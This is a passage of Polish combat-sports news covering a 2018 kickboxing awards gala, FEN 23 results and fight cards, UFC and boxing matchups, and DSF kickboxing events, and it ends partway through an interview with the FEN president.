W 2018 roku kickboxing wykonał milowy krok. 30 listopada organizacja WAKO została przyjęta w poczet członków Międzynarodowego Komitetu Olimpijskiego. Z kolei biało-czerwoni z mistrzostw Europy w Mariborze i Bratysławie przywieźli 32 medale. Było więc co świętować i kogo nagradzać. Warto podkreślić, że wydarzenie w Węgrowie weszło w cykl obchodów 30-lecia Polskiego Związku Kickboxingu. Dyscyplina pojawiła się w Polsce w latach 80. XX wieku za sprawą Andrzeja Palacza. Jednak ówczesne władze niechętnie odnosiły się do kickboxingu. Polski Związek Kickboxingu zarejestrowano w lipcu 1989 roku, ale już wtedy nasi zawodnicy mieli renomę na świecie. Wystarczy wymienić Marka Piotrowskiego, Piotra Siegoczyńskiego czy Przemysława Saletę. 

To już 30 lat PZKb. Polski kickboxing to marka sama w sobie. Na imprezach mistrzowskich jesteśmy w czołówce, a dyscyplina poczyniła ważne kroki w rozwoju i zwiększeniu rozpoznawalności. Bal Mistrzów Kickboxingu w Węgrowie był znakomitą okazją do nagrodzenia tych, którzy wyróżniali się w 2018 roku. 

Poniżej lista nagrodzonych:
Paulina Stenka – zawodniczka roku PZKb w formułach planszowych
Łukasz Puczyński – zawodnik roku PZKb w formułach planszowych
Kamila Bałanda i Karolina Kubiak – zawodniczka roku PZKb w formułach ringowych
Robert Krasoń – zawodnik roku PZKb w formułach ringowych
Iwona Nieroda (na zdjęciu) – zawodniczka roku walki zawodowe
Kamil Jenel – zawodnik roku walki zawodowe
Tomasz Biernacki – klubowy trener roku
Radosław Laskowski – trener roku kadry PZKb
Krzysztof Kacperski – sędzia roku
Mecz Polska-Węgry w kick light w Kartuzach – impreza roku
Panzer Suwałki i Palestra Warszawa – wyróżnienia w kategorii klubów

Honorowego Herosa Roku otrzymał Tomasz Skrzypek, który zakończył pracę z kadrą. – To jest moje pożegnanie z reprezentacją Polski. Na balu Polskiego Związku Kickboxingu otrzymałem nagrodę HONOROWEGO HEROSA PZKB. Polskę reprezentowałem 26 lat. W tym 21 pełniłem funkcję trenera kadry narodowej. Najdłużej z moim przyjacielem Tomkiem Mamulskim. Dziękuję za daną mi szansę. Dziękuję zawodnikom z którymi pracowałem. To był dla mnie zaszczyt. Dziękuję za tak godne pożegnanie. Miałem łzy w oczach. Warto było to wszystko przeżyć – taką informację Tomasz Skrzypek przekazał w mediach społecznościowych.

Fot. Iwona Nieroda Facebook

KM

 

Rębecki ponownie obronił tytuł mistrzowski

W Lubinie odbyła się gala FEN 23, podczas której pas mistrzowski wagi lekkiej w formule MMA obronił Mateusz Rębecki. Nowym czempionem K-1 w limicie 77kg został Dominik Zadora. 27-latek pokonał przez nokaut Łukasza Pławeckiego.

W karcie głównej było siedem walk – cztery w MMA i trzy w K-1. Pięć pojedynków, pięć wygranych – taki bilans przed galą w Lubinie w FEN miał Mateusz Rębecki. Do tego na koncie pas wagi lekkiej. Tytuł Rębecki wywalczył pokonując Mariana Ziółkowskiego podczas gali FEN 20. Dotychczas bronił go raz – w trzeciej rundzie pokonał Łukasza Koperę. W Lubinie przyszło mu rywalizować z Daguirem Imavovem, który przed polską publicznością zdążył się zaprezentować się z dobrej strony. Od początku Rębecki starał się narzucić swoje warunki. Płaszczyzną walki był w głównej mierze parter, w którym popularny "Chińczyk" wykorzystywał swoje umiejętności zapaśnicze. Po pierwszej rundzie narożnik Imavova poddał go. Okazało się, że zawodnik złamał żebro. Mistrzem wagi lekkiej pozostał zatem Rębecki.

Drugie zwycięstwo w FEN zanotował Marcin Sianos, który pokonał Marcina Zontka. Pojedynek rozstrzygnął się w pierwszej rundzie. Potężny prawy sierpowy Sianosa dotarł do twarzy Zontka, który padł na deski. Były pretendent do pasa M-1 potrzebował kilku minut, aby się podnieść. Czwarte zwycięstwo Sianosa.

W Lubinie Łukasz Pławecki po raz pierwszy bronił mistrzowskiego pasa w K-1, który zdobył w maju 2018 roku pokonując Wojciecha Wierzbickiego. Podczas gali FEN 23 „Boom Boom” nie miał łatwego zadania. Dominik Zadora to niezwykle groźny zawodnik, który swoją wartość udowodnił w Lubinie. Pierwsza runda pokazała, że mistrzowska walka będzie kapitalnym widowiskiem. Szybkie tempo, kopnięcia, ciosy. W ostatnich sekundach Zadora naruszył Pławeckiego. Zawodnik trenujący we Wrocławiu chciał podkreślić swoją przewagę, jednak mistrz był twardy. Pławecki próbował efektownych akcji, ale nie zagroził rywalowi. Liczne kopnięcia sprawiły, że prawe udo 31-latka było mocno obite. W trzeciej rundzie Zadora dosłownie katował nogę rywala. Sędzia liczył Pławeckiego „na stojąco”, gdyż ten zaczął wyraźnie utykać. „Boom Boom” pokazał charakter i walczył dalej. Chwilę później grad ciosów ze strony Zadory i kolejne liczenie, Pławecki wstał i podjął rękawicę, jednak po chwili upadł i sędzia przerwał pojedynek. Zadora został nowym mistrzem. 

Efektowne zwycięstwo Szymona Duszy w formule MMA (77kg). Zawodnik z Opola szybko zepchnął do defensywy Tymoteusza Łopaczyka. 22-latek po jednym z ciosów rywala zaczął cofać się pod siatkę, Dusza wykorzystał sytuację. 28-latek mocnym kopnięciem na wątrobę sprawił, że Łopaczyk osuwał się na deski. Dusza postawił kropkę nad "i" i zanotował pierwszą wygraną w FEN. Skuteczny Wojciech Wierzbicki. W walce w K-1 Polak wypunktował Pavla Oboznego. Wierzbicki przeważał nad rywalem, a w drugiej rundzie potężny low kick sprawił, że Białorusin znalazł się na macie i przez dłuższy czas nie mógł się z niej podnieść.

Po trzech rundach sędziowie nie mieli wątpliwości, kto był lepszy w rywalizacji Eliasza Jankowskiego i Huberta Dylewskiego. Zawodnik z Legnicy pokonał o 14 lat młodszego rywala. W trzeciej rundzie triumfował Łukasz Charzewski, który w walce na zasadach MMA zmusił do poddania Łukasza Bieńka. Przez całe starcie "Harry" był stroną dominującą. W pierwszej odsłonie rozbił nos rywala, w parterze dyktował warunki i w końcu założył skuteczną gilotynę.

Karta wstępna FEN 23 liczyła cztery pojedynki. W K-1 Tomasz Zamysłowski w drugiej rundzie pokonał Łukasza Kaletę. Łukasz Kaczmarczyk lepszy od Roberta Rajewskiego, zaś Mariusza Lach od Bartosza Hassę. Oba starcia zakończyły się decyzjami sędziów. W pojedynku na zasadach MMA Kamil Kraska szybko poddał Szymona Szarpaka.

KM

Kowalkiewicz poznała kolejną rywalkę

Karolina Kowalkiewicz poznała kolejną rywalkę, z którą spotka się 30 marca z Filadelfii. Podczas gali UFC on ESPN 2 Polka zmierzy się z Michelle Waterson.

Dla 33-letniej Kowalkiewicz będzie to dziewiąte starcie w amerykańskiej organizacji. W ubiegłym roku urodzona w Łodzi zawodniczka dwukrotnie prezentowała się w oktagonie. Kwietniową walkę w Nowym Jorku z Felice Herrig rozstrzygnęła na swoją korzyść. Kowalkiewicz dobrze radziła sobie w każdej płaszczyźnie, walczyła mądrze i mogła cieszyć się ze zwycięstwa, choć w trzeciej rundzie Herrig posłała w jej stronę kilka mocnych ciosów. Polka triumfowała niejednogłośną decyzją sędziów. Z kolei we wrześniu w Dallas Kowalkiewicz musiała przełknąć gorzką pigułkę. Zaledwie dwóch minut potrzebowała Jessica Andrade, aby posłać Polkę na deski. Sędzia przerwał pojedynek.

Z kolei Waterson może pochwalić się 100% skutecznością w 2018 roku. 33-letnia Amerykanka wygrała dwa pojedynki – z Cortney Casey-Sanchez i Felice Herrig. W obu przypadkach triumfowała decyzją sędziów. Dotychczas Waterson przegrała dwa starcia w UFC. Jej pogromczyniami były Rose Namajunas i Tecia Torres.

Większe doświadczenie w UFC ma Karolina Kowalkiewicz i to ona wydaje się być faworytką marcowego starcia. Polka miała okazję rywalizować o mistrzostwo w wadze słomowej, jednak uległa Joannie Jędrzejczyk. Swego czasu pokonała obecną posiadaczkę pasa – Rose Namajunas. Umiejętności nie można odmówić również Waterson. Amerykanka stała się czołową postacią w rywalizacji kobiet w UFC. Wcześniej dobrze prezentowała się w organizacji Invicta, gdzie zdobyła tytuł w wadze atomowej.

Amerykanka większość walk wygrała przed czasem. Jej niezaprzeczalnym atutem jest szybkość. Z kolei Kowalkiewicz przyzwyczaiła do rywalizacji na pełnym dystansie, imponuje wydolnością i spokojem. W ostatniej walce Andrade szybko ruszyła na Polkę, co dało jej wygraną. Gdy Kowalkiewicz przetrwa pierwsze minuty i kontroluje pojedynek, atuty są po jej stronie. W rywalizacji z Amerykanką, Polka musi mieć się na baczności i uważać na wszelkie próby sprowadzenia.

Fot. Karolina Kowalkiewicz Facebook

KM

FEN 23: Zmiany na karcie walk

Łukasz Bieniek (6-4, 1 KO, 3 SUB) będzie rywalem Łukasza Charzewskiego (5-1, 1 KO, 1 SUB), a Szymon Szarpak (0-0) zmierzy się z Kamilem Kraską (1-1, 1 KO) podczas gali FEN 23, która 12 stycznia odbędzie się w Lubinie.

Bieniek wywodzi się z zapasów, a swój pierwszy zawodowy pojedynek stoczył w 2012 roku, gdy w 1. rundzie pokonał Pawła Zeglińskiego. Później – raz przez techniczny nokaut i znowu przez poddanie – rozprawił się z Kamilem Rozdzialikiem i Sebastianem Solarzem. Bieniek do klatki wróci po prawie trzyletniej przerwie, gdyż swój ostatni pojedynek stoczył w styczniu 2016 roku wygrywając z Przemysławem Fajerem.

Szarpak w Lubinie dopiero zadebiutuje na zawodowstwie. 19-latek pochodzący ze Szczecina w karierze amatorskiej stoczył trzy pojedynki, z których dwa wygrał i jeden przegrał. W czerwcu 2018 roku pokonał Patryka Ostrowskiego, w październiku 2017 roku wygrał na punkty z Mateuszem Wilkiem.

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna – Polsat Sport Extra, Super Polsat – start, godzina 20:00

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
70 kg, MMA: Łukasz Charzewski VS Łukasz Bieniek
77 kg, MMA: Kamil Kraska VS Szymon Szarpak

Karta wstępna – Polsat Sport Fight – start, godzina 19:00

67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

18:30 – pierwsza walka gali FEN 23

77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

Ceremonia ważenia – wideo (zmiana miejsca i godziny!)

12 stycznia w Lubinie odbędzie się gala Fight Exclusive Night 23. Przedstawiamy datę oraz miejsce, w którym odbędzie się oficjalna ceremonia ważenia oraz plan telewizyjnej transmisji.

Ceremonia ważenia:

Oficjalna ceremonia ważenia odbędzie się o godzinie 17:00 w Kinie Helios w Lubinie (ul. Generała Władysława Sikorskiego 20, 59-300 Lubin). Wstęp na ceremonię dla kibiców jest wolny. Transmisja z ceremonii ważenia zrealizowana przez telewizję FighTime.pl odbędzie się na oficjalnym profilu na Facebooku federacji.

INFORMACJA DLA KIBICÓW: Wraz z naszym partnerem, kinem Helios, przygotowaliśmy specjalną promocję: wystarczy, że pokażesz bilet na dowolny film z kina Helios w Lubinie z 11 lub 12 stycznia, a dostaniesz 20% rabat na bilet FEN 23. Wejściówki na galę z rabatem będzie można nabyć podczas ceremonii ważenia na naszym stoisku w kinie oraz w Hali RCS w dniu wydarzenia.

Plan transmisji telewizyjnej:

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna – Polsat Sport Extra, Super Polsat – start, godzina 20:00

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
70 kg, MMA: Łukasz Charzewski VS Łukasz Bieniek
77 kg, MMA: Kamil Kraska VS Szymon Szarpak

Karta wstępna – Polsat Sport Fight – start, godzina 19:00

67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

18:30 – pierwsza walka gali FEN 23

77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Nasukawa będzie miał kolejnego znanego rywala?

Tenshin Nasukawa staje się coraz bardziej rozpoznawalny. Duży wpływ na to miała jego walka z utytułowanym bokserem Floydem Mayweatherem Jr. Niewykluczone, że teraz młody Japończyk zmierzy się z byłym mistrzem UFC Conorem McGregorem.

Na gali Rizin 14, która odbyła się 31 grudnia w Saitamie doszło do starcia Mayweathera Jr. z niepokonanym japońskim kickbokserem Tenshinem Nasukawą. Pojedynek odbył się na zasadach boksu. 41-latek górował nad młodszym o 21 lat rywalem. Japończyk już w pierwszej rundzie był liczony trzykrotnie, na co postanowił zareagować jego narożnik. Rzucony ręcznik wiązał się z zakończeniem walki. Dla młodego Nasukawy porażka była ogromnym ciosem, ale jak się okazuje nadal będzie o nim głośno. 20-latek ma spore umiejętności, o czym świadczy 27 wygranych walk, w tym 21 przed czasem. Japończyk, można powiedzieć, stał się magnesem dla gwiazd. Stoczył walkę z Mayweatherem, a teraz miałby spotkać się z Conorem McGregorem.

Irlandczyk jasno przedstawił swoje plany. – Chciałbym pojechać do Tokio, żeby zmierzyć się z Tenshinem Nasukawą w pojedynku MMA – napisał McGregor. Walka miałaby się odbyć jeszcze przed latem. Wiadomo, że McGregor szuka nadal płaszczyzny, na której może brylować. Przegrał głośną walkę bokserską z Mayweatherem. Sytuacja 30-latka w UFC również skomplikowała się. McGregor sięgał po pas w wadze piórkowej i lekkiej. Pierwszy zwakował, a drugi został mu… odebrany, ponieważ Irlandczyk nie palił się do rywalizacji w celu obrony. Ostatnio McGregor musiał uznać wyższość Chabiba Nurmagomiedowa. Jak widać – sytuacja niedawnej pierwszoplanowej postaci UFC stała się trudna. McGregor jest na zakręcie, ale robi wszystko, aby wykorzystać swoją wartość marketingową. Teraz stawia na Nasukawę, a właściwie na pieniądze, które może dostać za walkę z Japończykiem. Mayweather za starcie z młodym zawodnikiem zarobił około 9 milionów dolarów.

Nasukawa odniósł się do propozycji McGregor. – Drogi Panie McGregor, dziękuję za zapamiętanie mojego imienia. Jestem zaszczycony, że rozważasz starcie ze mną. 58kg, zasady kickbokkserskie – doprowadziłby nas niebawem do ringu – odpowiedział Japończyk.

20-latek stawia swoje warunku. Teraz czas na ruch McGregor. Czy Irlandczyk będzie chciał rywalizować w kolejnej dyscyplinie? W boksie mu nie wyszło, ale znając McGregora – show i kasa.

Fot. Tenshin Nasukawa Facebook

KM

ZAPROSZENIE – "Lekcja WF-u z Mistrzami Kickboxingu" w Grudziądzu | DSF 19

Jutro (wtorek 8 stycznia 2019) o godzinie 11:45 w Hali Sportowej przy ul. Nauczycielskiej 19 w Grudziądzu odbędzie się organizowana przez federację DSF Kickboxing Challenge pokazowa „Lekcja WF-u z Mistrzami Kickboxingu”. Dzieci i młodzież otrzymają od organizatorów gali DSF 19 niepowtarzalną możliwość spotkania i wspólnego trenowania z największymi gwiazdami polskiego kickboxingu.

W Grudziądzu gościć będą gwiazdy federacji DSF Kickboxing Challenge: dwukrotny mistrz świata Marcin Różal Różalski, mistrz DSF w wadze średniej (do 86 kg) Maksymilian Bratkowicz, mistrzyni świata Róża Gumienna, mistrz DSF w wadze lekkiej (do 71 kg) Jarosław Daschke oraz mistrz DSF wagi piórkowej (do 65 kg) Jan Lodzik, którzy zaprezentują swoje wspaniałe umiejętności i porozmawiają z fanami. Pojawią się także zawodnicy miejscowego klubu żużlowego MRGARDEN GKM Grudziądz.

Już 24 stycznia "Mad Max" Bratkowicz i "Jan "Iron" Lodzik będą bronić mistrzowskich pasów federacji DSF w dwóch najważniejszych walkach gali DSF Kickboxing Challenge 19 w Grudziądzu. Bilety na to wydarzenie są dostępne w serwisach KupBilety24.eu oraz KupBilecik.pl. Więcej szczegółów znajdziecie naFacebooku >>>

Zapraszamy wszystkich chętnych do udziału w jutrzejszej "Lekcji WF-u z Mistrzami Kickboxingu". Wstęp wolny.

DSF 20 Kraków | Legenda K-1 Łukasz Jarosz gotowy do debiutu w DSF!

Już 23 lutego legendarny polski zawodnik K-1 Łukasz Jarosz zadebiutuje w federacji DSF Kickboxing Challenge. Zawodowy i amatorski mistrz świata, który wygrywał przed czasem m.in. z Marcinem Różalskim i Łukaszem Jurkowskim, w 2018 roku powrócił na ring po 8,5 rocznej przerwie. 23 lutego na gali DSF 20 w Krakowie Jarosz zmierzy się z Holendrem Wendellem Roche.

– Kibice pamiętają mnie przede wszystkim z walk turniejowych. W pierwszym oficjalnym turnieju K-1 we Wrocławiu wygrałem wszystkie walki przez nokaut w 1. rundzie. W kolejnych zawodach również znokautowałem każdego rywala, w finale był to Marcin Różalski – wspomina zawodnik Jarosz Fight Club, który w maju na Stadionie Narodowym efektownie znokautował w 2. rundzie Michała Wlazło.

– Kiedyś turniejów i gal nie było tak dużo. Dziś zawodnicy liczą swoje lajki w Internecie i tą miarą mierzą swój sukces. Nie tędy droga. Liczą się wygrane walki. Ja najpierw godziłem się walczyć, a potem pytałem o nazwiska rywali – mówi weteran polskiego kickboxingu. – Wielką motywacją do mojego powrotu był wywiad Marcina Różalskiego, który powiedział, że jestem jedynym Polakiem, z którym może walczyć. Ja oczywiście też jestem chętny i mam nadzieję, że do tej walki dojdzie. W Polsce jest wielu świetnych zawodników wagi ciężkiej, ale najlepszy jest dziś Tomek Sarara.

– Moje największe atuty to siła, dynamika i szybkość. Często kończę walki przed czasem – zaznacza Jarosz, którego zawodowy bilans to 41 zwycięstw (34 przez nokaut) i tylko 3 porażki. – 23 lutego walczę w Krakowie z Holendrem Wendellem Roche. Nie lekceważę nigdy żadnego rywala, każdy kto wychodzi do ringu jest niebezpieczny. Jeżeli pojawi się szansa, to go znokautuję!

Bilety na galę DSF 20 dostępne w serwisach Eventim.pl, Ticketclub.pl oraz KupBilety24.eu. Wszystkie informacje o gali są dostępne na stronie wydarzenia na Facebooku >>>

 

Bez odpowiedzi

Maleją szanse na pojedynek Anthony'ego Joshuy z Deontayem Wilderem. Tak przynajmniej twierdzi promotor mistrza świata IBO, WBA, IBF i WBO – Eddie Hearn.

Temat starcia Joshuy i Wildera obecny jest od ponad roku. Strony prowadzą rozmowy, jednak efektów nie widać. Wydawało się, że do walki może dojść wiosną 2018 roku, potem latem. Obaj pięściarze byli gotowi spotkać się i stoczyć bój o prymat w wadze ciężkiej. Wiadomo, że kością niezgody były pieniądze.

Po grudniowym starciu Wildera z Tysonem Fury'm, które zakończyło się remisem odżył temat starcia Amerykanina z Joshuą. Z jednej strony mistrz WBC podkreślał chęć spotkania z 29-latkiem z Watfordu, z drugiej wyrażał gotowość do rewanżu z olbrzymem z Wilmslow. Ponadto, przed świętami Amerykanin podkreślał konieczność ponownego spotkania się z Fury’m. Pierwsze starcie zakończyło się remisem, a więc należy wyłonić boksera, który jest lepszy. W związku z tym Eddie Hearn traci nadzieję na zorganizowanie walki „AJ” z Wilderem. – Chcieliśmy tej walki 13 kwietnia na Wembley. Stopniowo oferowaliśmy Wilderowi coraz więcej za pojedynek i nie chodzi o sumę, ale o procentowy udział. Zarobiłby więcej niż kiedykolwiek wcześniej. Nie możemy przekroczyć pewnej granicy, bo "AJ" jest stroną A – mówi Eddie Hearn.

Obóz Wildera pozostaje obojętny na propozycje promotora Joshuy. Wszystko wskazuje na to, że Amerykanin w pierwszej kolejności planuje rewanż z Fury'm, w którym będzie chciał udowodnić swoją wyższość i tym razem wyraźnie wygrać. – Pomimo trzech czy czterech e-maili i wielu telefonów nie uzyskaliśmy od obozu Deontaya Wildera żadnej odpowiedzi. W końcu uświadamiasz sobie, że im może tak na tej walce nie zależy. Pewnie chcą rewanżu z Fury'm – przedstawia Hearn.

Kibice boksu wierzą, że w końcu dojdzie do pojedynku czempionów kategorii królewskiej. Obóz Joshuy chciałby zorganizować walkę 13 kwietnia, ale obecnie nic nie wskazuje na to, aby te plany udało się przekuć w rzeczywistość. Zapewne na Wembley „AJ” zmierzy się z innym rywalem. Wśród kandydatów są Dilian Whyte i Jarrel Miller.

Fot. Anthony Joshua Facebook

KM

Głodny Jones

Po zwycięstwie z Alexandrem Gustafssonem, Jon Jones jest głodny kolejnych walk i triumfów. Amerykanin zapowiada, że w 2019 roku stoczy trzy pojedynki.

Podczas gali UFC 232, która odbyła się w Inglewood, choć pierwotnie miała mieć miejsce w Las Vegas "Bones" znokautował rywala ze Skandynawii. Wokół pojedynku było gorąco. Gala została przeniesiona głównie z powodu… Jonesa, w którego organizmie wykryto niewielkie ilości turinabolu. Warto przypomnieć, że Amerykanin zdążył się już wsławić wpadkami dopingowymi. Tym razem UFC zrobiło wszystko, aby do walki doszło. W trzeciej rundzie Jones zastopował Gustafssona i mógł cieszyć się z 23 zwycięstwa w karierze. Zaprezentował się po raz pierwszy od półtora roku, ale wrócił w efektowny sposób – znowu zasiada na tronie. – W ciągu ostatnich kilku dni coś we mnie się zmieniło. W moim sercu i umyśle. To szalejący głód zwycięstw – przedstawia Jon Jones. – W przeszłości walczyłem i gdy zrealizowałem plan imprezowałem i wypełniałem czas nonsensem. Po odzyskaniu pasa myślę tylko o tym, aby wrócić i ponownie wygrać. Cały czas chcę udowadniać, że jestem najlepszy na świecie. Wracam do domu i ruszam na siłownię, aby budować swoje umiejętności – dodaje.

31-letni Amerykanin przedstawił swoje plany na 2019 roku. – Zamierzać stoczyć trzy walki i pozostawić zero wątpliwości, co do mojej dominacji. Mam zamiar to zrobić, bo to moja pasja. 2019 będzie niesamowity. Wszystko dzięki temu, że wiem, co jest ważne. Tak więc rywale w mojej dywizji – idźcie, ustawcie się, wszyscy to dostaniecie. Król powrócił i nikt nie może spać spokojnie. Ta sama korona, twarz, ale większe cierpienie dla innych. To przyniosę w 2019 roku – zapowiada Jones.

Amerykanin to jedna z najbardziej rozpoznawalnych twarzy UFC. Z jednej strony wielki mistrz, który dzierżył pas wagi półciężkiej w latach 2011-2015. Z drugiej postać kontrowersyjna. Jones ma na sumieniu problemy z dopingiem, wypadek i ucieczkę z miejsca zdarzenia, jazdę bez prawa jazdy, udział w nielegalnych wyścigach ulicznych. Jon Jones podkreśla, że w jego myśleniu zaszła zmiana. Czas pokaże.

KM

Zmiany w karcie walk gali FEN 23

Hubert Dylewski (2-3-1) zastąpi Rafała Niestrzębę, a Robert Rajewski Jr (5-5) Kacpra Muszyńskiego 12 stycznia w Lubinie podczas gali FEN 23. Obaj zawodnicy wystąpią na Dolnym Śląsku w formule K-1.

Hubert Dylewski, w przeciwieństwie do ojca, który również może pochwalić się wieloma sukcesami na koncie, skupia się w swojej karierze na walkach w kickboxingu. Trenując w warszawskim klubie Garuda Muay Thai Gym wypracował sobie zawodowy rekord dwóch zwycięstw, trzech porażek i jednego remisu. Zawodnik oba zwycięstwa doniósł na galach organizacji King of Kings, w tym bardzo efektowne w pojedynku z Ricardasem Zeimanisem, którego posłał na deski już w pierwszej rundzie.

Dylewski w Lubinie skrzyżuje rękawice z Eliaszem Jankowskim w limicie 67 kilogramów.

Robert Rajewski w poprzednich pojedynkach w federacji FEN walczył nie tylko w formule K-1, ale również w MMA, ulegając wymagającym przeciwnikom – Michałowi Wrzoskowi i Aleksandrowi Georgasowi. 12 stycznia w Lubinie Rajewski Jr powróci do dyscypliny, w której odnosił największe swoje sportowe sukcesy, m.in. wielokrotnie zdobywał tytuł kickbokserskiego mistrza Polski i uczestniczył w prestiżowym turnieju King of Kings World GP. Trenowany przez swego ojca Roberta zawodnik ma na swym koncie także tytuł międzynarodowego mistrza Polski w wushu sanda, z którego się wywodzi.

Robert Rajewski Jr zmierzy się w Lubinie z Łukaszem Kaczmarczykiem w limicie 70 kilogramów.

Karta walk FEN 23: 

70 kg: Mateusz Rębecki VS Daguir Imavov*

-120 kg: Marcin Zontek VS Marcin Sianos
-77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
-77 kg: Tymoteusz Łopaczyk VS Szymon Dusza
-77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
-67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
-70 kg: Łukasz Charzewski VS Adam Brzezowski
-70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski
-61 kg, K-1: Bartosz Hassa VS Mariusz Lach
-77 kg: Kamil Kraska VS Mateusz Janur

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówi.

[kod]

Arab kolejnym bohaterem gali FEN 24

Gabriel "Arab" Al-Sulwi (1-0, 1 KO) 16 marca w Warszawie stoczy swój drugi pojedynek. Zawodnik wraca do klatki federacji Fight Exclusive Night niespełna półtorej roku od swojego debiutu w mieszanych sztukach walki.

Arab przebojem wdarł się w świat zawodowego MMA wygrywając w swoim debiucie podczas gali FEN 19 z Bartłomiejem "Rubym" Brzezińskim. Al-Sulwi kontrolował przebieg tego pojedynku w pierwszej rundzie, w drugiej skończył starcie przed czasem. Arab od wielu lat związany jest ze sportami walki, gdyż trenuje brazylijskie jiu-jitsu.

"Pewnego dnia Gabriel zadzwonił do mnie i powiedział, że jest gotowy stoczyć swój kolejny pojedynek. Sporo czasu od momentu debiutu spędził na sali treningowej i ocenił, że dziś jest znacznie lepszym zawodnikiem, więc jest gotowy po raz kolejny wyjść do klatki. Mam już dogranego rywala dla Araba, będzie to medialne starcie. Raz na jakiś czas będziemy naszym fanom serwować takie zestawienia – powiedział Paweł Jóźwiak, prezes FEN.

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówi.

[kod]

Kaleta z Zamysłowskim zamykają kartę walk gali FEN 23

Łukasza Kaletę (0-0) 12 stycznia czeka trudne zadanie, bowiem naprzeciwko niego w klatce stanie Tomasz Zmysłowski (5-3-2). Do starcia dojdzie podczas gali Fight Exclusive Night 23, która odbędzie się w Lubinie. Pojedynek na zasadach K-1 odbędzie się w limicie do 77 kilogramów.

Tomasz Zamysłowski to zaledwie 20-letni zawodnik z Warszawy, który już zdążył zaznaczyć swoją pozycję na europejskim rynku sportów walki. Trenujący w warszawskim klubie Garuda zawodnik ma na swoim koncie występy na galach organizacji King of Kings, która promuje K-1 na Starym Kontynencie. Zamysłowski jak dotąd na KOK zanotował jeden remis z Dariusem Mincheivichusem i jedną porażkę w walce z o wiele bardziej doświadczonym Kristapsem Bulmaistrasem. Aktualny zawodowy rekord podopiecznego Dmitrija Kartela to 5-3-2.

Kaleta 12 stycznia w Lubinie dopiero zadebiutuje w zawodowym K-1. Młody fighter trenuje na co dzień w Bolesławcu pod okiem ojca Dominika Zadory, który podczas dolnośląskiej edycji walczył będzie z Łukaszem Pławeckim o pas mistrzowski w kategorii do 77 kilogramów. Kaleta reprezentuje klub Street Fighter.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówki.

[kod]

Jóźwiak przed FEN 23: Lubin czeka na FEN, kibice są spragnieni grzmotów

12 stycznia w Lubinie odbędzie się gala Fight Exclusive Night 23. Paweł Jóźwiak, prezes federacji, już dziś nie może doczekać się tego wydarzenia, które od dawna jest wyczekiwane na Dolnym Śląsku. – Lubin czeka na nas, jestem przekonany, że damy kibicom to, czego oczekują – zapewnia sternik FEN.

FEN po raz czwarty zawita do Lubina. Co prezes myśli słysząc nazwę tego miasta?

Paweł Jóźwiak: Cieszę się, że znowu zawitamy do Lubina. Przed rokiem nie było nas w tym mieście, a gala sprzed dwóch lat była naprawdę świetnym widowiskiem, do którego z chęcią wracam podczas różnych rozmów o naszej federacji. Dziś mamy mistrza Mateusza Rębeckiego, który jest jednym z najlepszych zawodników w Polsce w kategorii lekkiej, a między innymi w Lubinie podczas gali FEN 15 "Chińczyk" zrobił duży krok w kierunku pasa, który dzisiaj dzierży. Kamil Gniadek zaraz może być mistrzem w dywizji półśredniej, a również bił się w Lubinie. Nie można powiedzieć, że 15. edycja po prostu była i pozostała bez echa. Marcin Zontek, Wojciech Wierzbicki czy Oskar Somerfeld to zawodnicy, którzy wtedy byli się u nas, dziś są, pewnie jeszcze długo będą w naszej federacji i wierzę w to, że 23. gala również spowoduje, iż będziemy często do niej wracać.

Karta walk gali FEN 23 wygląda inaczej niż zwykle. Propocje K-1 względem MMA po raz pierwszy są na korzyść formuły uderzanej.

